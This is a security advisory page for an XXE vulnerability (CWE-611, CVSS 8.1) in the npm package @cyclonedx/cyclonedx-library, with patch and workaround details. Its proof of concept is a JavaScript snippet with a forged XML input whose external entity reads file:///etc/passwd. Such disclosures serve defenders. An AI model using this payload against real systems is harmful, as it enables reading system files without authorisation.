High

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

  • Disclosed: 08.05.2024
  • Updated: 11.10.2026 10:22

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

js
const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/cyclonedx-library@6.7.1 .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @cyclonedx/cyclonedx-library >= 6.7.0, < 6.7.1 6.7.1

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-611
Platform
npm
Package
@cyclonedx/cyclonedx-library
Disclosed
08.05.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-38gf-rh2w-gmj7 - CC BY 4.0

Vulnerability history: @cyclonedx/cyclonedx-library

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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